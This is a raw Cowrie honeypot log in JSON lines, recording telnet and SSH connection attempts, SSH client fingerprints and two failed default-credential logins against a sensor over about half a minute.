{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"56955ae7cf57","protocol":"telnet","message":"New connection: 62.210.97.77:47288 (10.17.0.5:23) [session: 56955ae7cf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:27.595103Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:27.981888Z","src_ip":"190.129.122.12","session":"1cf6fc6fe408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"eca5082b0c88","protocol":"telnet","message":"New connection: 62.210.97.77:47290 (10.17.0.5:23) [session: eca5082b0c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:28.260333Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58820,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91933856194","protocol":"telnet","message":"New connection: 165.232.131.181:58820 (10.17.0.5:23) [session: b91933856194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:28.450898Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:28.594749Z","src_ip":"45.78.198.206","session":"79d098368851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49474,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f6997ab824","protocol":"telnet","message":"New connection: 65.60.27.33:49474 (10.17.0.5:23) [session: b1f6997ab824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:28.997438Z"}
{"eventid":"cowrie.session.closed","duration":32.428366899490356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:29.664468Z","src_ip":"62.210.97.77","session":"5dec756f3a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06582760810852,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:30.156728Z","src_ip":"62.210.97.77","session":"8060add1d7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8372ebe0cbe4","protocol":"telnet","message":"New connection: 62.210.97.77:47914 (10.17.0.5:23) [session: 8372ebe0cbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:30.760430Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":51826,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b0f323f60a","protocol":"telnet","message":"New connection: 94.156.33.203:51826 (159.203.135.109:23) [session: 33b0f323f60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:30.769835Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"735a12a5b18c","protocol":"telnet","message":"New connection: 62.210.97.77:47928 (10.17.0.5:23) [session: 735a12a5b18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:32.238866Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":51834,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d4692d5bab","protocol":"telnet","message":"New connection: 94.156.33.203:51834 (159.203.135.109:23) [session: 95d4692d5bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:32.492229Z"}
{"eventid":"cowrie.session.closed","duration":39.37058091163635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:32.615103Z","src_ip":"165.232.131.181","session":"24af1a2317ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"66e82f3c73f1","protocol":"telnet","message":"New connection: 62.210.97.77:47934 (10.17.0.5:23) [session: 66e82f3c73f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:32.622457Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47944,"dst_ip":"10.17.0.5","dst_port":23,"session":"381315b74670","protocol":"telnet","message":"New connection: 62.210.97.77:47944 (10.17.0.5:23) [session: 381315b74670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:33.430682Z"}
{"eventid":"cowrie.session.closed","duration":34.70232582092285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:34.030648Z","src_ip":"62.210.97.77","session":"3b7e6acd852e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14428210258484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:34.441639Z","src_ip":"62.210.97.77","session":"5456d24c3577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2c7e63227c8","protocol":"telnet","message":"New connection: 62.210.97.77:47950 (10.17.0.5:23) [session: b2c7e63227c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:34.966293Z"}
{"eventid":"cowrie.session.closed","duration":41.13608264923096,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:35.879527Z","src_ip":"65.60.27.33","session":"3c253b1fec80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.15565061569214,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:36.036108Z","src_ip":"65.60.27.33","session":"33b5b33321a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":37790,"dst_ip":"159.203.135.109","dst_port":22,"session":"060aeaf77cf2","protocol":"ssh","message":"New connection: 103.189.235.176:37790 (159.203.135.109:22) [session: 060aeaf77cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:36.117244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:36.123235Z","src_ip":"103.189.235.176","session":"060aeaf77cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:36.353275Z","src_ip":"103.189.235.176","session":"060aeaf77cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59212,"dst_ip":"10.17.0.5","dst_port":23,"session":"a407321ceea2","protocol":"telnet","message":"New connection: 65.60.27.33:59212 (10.17.0.5:23) [session: a407321ceea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:37.345344Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass","message":"login attempt [ubuntu/Pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:37.391568Z","src_ip":"103.189.235.176","session":"060aeaf77cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50782,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad0d1c3b559e","protocol":"telnet","message":"New connection: 62.210.97.77:50782 (10.17.0.5:23) [session: ad0d1c3b559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:38.603127Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:38.628227Z","src_ip":"103.189.235.176","session":"060aeaf77cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57154297828674,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:39.071229Z","src_ip":"134.209.8.29","session":"3af40ffb6440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b33a2925d1","protocol":"telnet","message":"New connection: 62.210.97.77:50790 (10.17.0.5:23) [session: 56b33a2925d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:39.764540Z"}
{"eventid":"cowrie.session.closed","duration":35.23294115066528,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:39.957847Z","src_ip":"62.210.97.77","session":"d7cafedc018a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.633193254470825,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:40.954584Z","src_ip":"62.210.97.77","session":"b06b12619d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50804,"dst_ip":"10.17.0.5","dst_port":23,"session":"a72db0b78b3f","protocol":"telnet","message":"New connection: 62.210.97.77:50804 (10.17.0.5:23) [session: a72db0b78b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:41.434239Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e551e2cde617","protocol":"telnet","message":"New connection: 62.210.97.77:50792 (10.17.0.5:23) [session: e551e2cde617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:41.484193Z"}
{"eventid":"cowrie.session.closed","duration":34.54304814338684,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:41.830061Z","src_ip":"62.210.97.77","session":"f87c22720e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50806,"dst_ip":"10.17.0.5","dst_port":23,"session":"a12fd4cfdbe8","protocol":"telnet","message":"New connection: 62.210.97.77:50806 (10.17.0.5:23) [session: a12fd4cfdbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:42.589834Z"}
{"eventid":"cowrie.session.closed","duration":31.90609121322632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:42.921939Z","src_ip":"62.210.97.77","session":"f180d9d8dc67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e336eb7980c3","protocol":"telnet","message":"New connection: 62.210.97.77:50814 (10.17.0.5:23) [session: e336eb7980c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:43.607305Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":38372,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe75e35cf8d","protocol":"telnet","message":"New connection: 94.156.33.203:38372 (159.203.135.109:23) [session: 1fe75e35cf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:43.693972Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"2597bbe49249","protocol":"telnet","message":"New connection: 65.60.27.33:36612 (10.17.0.5:23) [session: 2597bbe49249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:44.012519Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36040,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6cf0e279db","protocol":"telnet","message":"New connection: 165.232.131.181:36040 (10.17.0.5:23) [session: 4e6cf0e279db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:44.035056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b739487f682c","protocol":"telnet","message":"New connection: 62.210.97.77:50818 (10.17.0.5:23) [session: b739487f682c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:44.132062Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"4baef002fb17","protocol":"telnet","message":"New connection: 94.156.33.203:38388 (159.203.135.109:23) [session: 4baef002fb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:44.667932Z"}
{"eventid":"cowrie.session.closed","duration":36.90994572639465,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:45.191745Z","src_ip":"65.60.27.33","session":"534cee23bf09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15171217918396,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:45.996478Z","src_ip":"62.210.97.77","session":"07f04f4001f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.18272089958191,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:46.383709Z","src_ip":"62.210.97.77","session":"1641579124bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50820,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20ee9b2b193","protocol":"telnet","message":"New connection: 62.210.97.77:50820 (10.17.0.5:23) [session: b20ee9b2b193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:47.602858Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":33938,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a13f1b65549","protocol":"telnet","message":"New connection: 94.156.33.203:33938 (159.203.135.109:23) [session: 2a13f1b65549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:48.807932Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c25c06c3d96","protocol":"telnet","message":"New connection: 134.209.8.29:55396 (159.203.135.109:23) [session: 7c25c06c3d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:49.003907Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53842,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c22ac098bff","protocol":"telnet","message":"New connection: 62.210.97.77:53842 (10.17.0.5:23) [session: 5c22ac098bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:49.379550Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39396,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b825cd8b5ee","protocol":"telnet","message":"New connection: 165.232.131.181:39396 (10.17.0.5:23) [session: 6b825cd8b5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:50.390377Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53852,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d45c3a67b51","protocol":"telnet","message":"New connection: 62.210.97.77:53852 (10.17.0.5:23) [session: 5d45c3a67b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:50.762095Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47168,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd21cb31140","protocol":"telnet","message":"New connection: 65.60.27.33:47168 (10.17.0.5:23) [session: acd21cb31140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:51.226866Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2421025ba9","protocol":"telnet","message":"New connection: 62.210.97.77:53864 (10.17.0.5:23) [session: 9d2421025ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:51.469908Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6afe5f8c8b9","protocol":"telnet","message":"New connection: 62.210.97.77:53870 (10.17.0.5:23) [session: c6afe5f8c8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:51.804720Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":33940,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c915f8d489e","protocol":"telnet","message":"New connection: 94.156.33.203:33940 (159.203.135.109:23) [session: 5c915f8d489e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:53.752456Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":42556,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6be30ea55d","protocol":"ssh","message":"New connection: 156.232.13.218:42556 (10.17.0.5:22) [session: ec6be30ea55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.066688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.071034Z","src_ip":"156.232.13.218","session":"ec6be30ea55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.144273Z","src_ip":"156.232.13.218","session":"ec6be30ea55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123456","message":"login attempt [guest/guest123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.460524Z","src_ip":"156.232.13.218","session":"ec6be30ea55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9289fe5f875c","protocol":"telnet","message":"New connection: 165.232.131.181:41544 (10.17.0.5:23) [session: 9289fe5f875c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.616523Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41592,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa77266d2364","protocol":"telnet","message":"New connection: 165.232.131.181:41592 (10.17.0.5:23) [session: aa77266d2364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:54.763026Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6392e85e1b","protocol":"telnet","message":"New connection: 65.60.27.33:51324 (10.17.0.5:23) [session: ef6392e85e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:55.080837Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37764,"dst_ip":"10.17.0.5","dst_port":23,"session":"204e56e6c8e4","protocol":"telnet","message":"New connection: 165.232.131.181:37764 (10.17.0.5:23) [session: 204e56e6c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:55.404047Z"}
{"eventid":"cowrie.session.closed","duration":0.08054423332214355,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:55.484465Z","src_ip":"165.232.131.181","session":"204e56e6c8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:55.534806Z","src_ip":"156.232.13.218","session":"ec6be30ea55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.865307569503784,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:56.670081Z","src_ip":"62.210.97.77","session":"0c172e93cfd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":45458,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d079971ed58","protocol":"telnet","message":"New connection: 94.156.33.203:45458 (159.203.135.109:23) [session: 0d079971ed58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:56.858373Z"}
{"eventid":"cowrie.session.closed","duration":36.15844106674194,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:57.215106Z","src_ip":"62.210.97.77","session":"c0295bd96786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a135c6f7e0","protocol":"telnet","message":"New connection: 165.232.131.181:57724 (10.17.0.5:23) [session: 37a135c6f7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:57.856461Z"}
{"eventid":"cowrie.session.closed","duration":0.004038095474243164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:57.860389Z","src_ip":"165.232.131.181","session":"37a135c6f7e0","protocol":"telnet"}
